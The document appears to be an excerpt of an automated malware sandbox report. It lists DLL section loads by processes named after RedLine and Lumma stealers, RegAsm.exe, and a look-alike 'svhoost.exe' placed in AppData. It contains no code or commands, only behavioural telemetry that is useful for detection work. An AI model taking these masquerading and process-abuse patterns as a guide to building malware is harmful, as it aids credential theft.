Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: python310.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dlnashext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wpdshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: esdsip.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
